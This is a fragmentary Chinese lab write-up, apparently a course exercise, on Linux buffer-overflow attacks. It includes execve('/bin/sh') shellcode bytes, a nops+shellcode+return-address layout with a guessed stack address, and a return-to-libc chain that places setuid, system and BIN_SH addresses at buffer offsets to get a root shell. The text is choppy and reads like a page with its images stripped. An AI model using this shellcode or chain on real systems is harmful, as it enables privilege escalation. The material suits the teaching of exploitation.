\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
nops+shellcode+retaddr
的方法來構造攻擊,對返回地址進行猜想,嘗試找到shellcode的地址:input_shellcode
來攻擊buf,先不用着急按回車,新開一個終端查看進程pid:0xffffd400
位置,將返回地址修改成0xffffd400
,從新注入:sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
ln -s zsh sh
把/bin/sh
指向zsh
:/tmp
文件夾下:SET-UID
:#
符號,糾正後成功:/tmp
文件夾下建一個讀取環境變量的程序:20145208_getenvaddr
程序得到BIN_SH
地址:結果沒有獲取權限,由於bash內置了權限下降的機制,就使得咱們雖然可讓bof返回時執行system(「/bin/sh」),可是獲取不到root權限。linux
獲取setuid的方式和前面system、exit同樣能夠用gdb來看,獲得setuid地址以後要對攻擊程序進行修改,在bof的返回地址處(&buf[24])寫入setuid()的地址,setuid的參數0寫在buf[32]處,這是由於setuid()執行完畢以後,會跳轉到setuid所在地址的下一個位置,因此這個位置應該放入system函數的入口地址,同理system的參數BIN_SH
的地址放入&buf[36]處:shell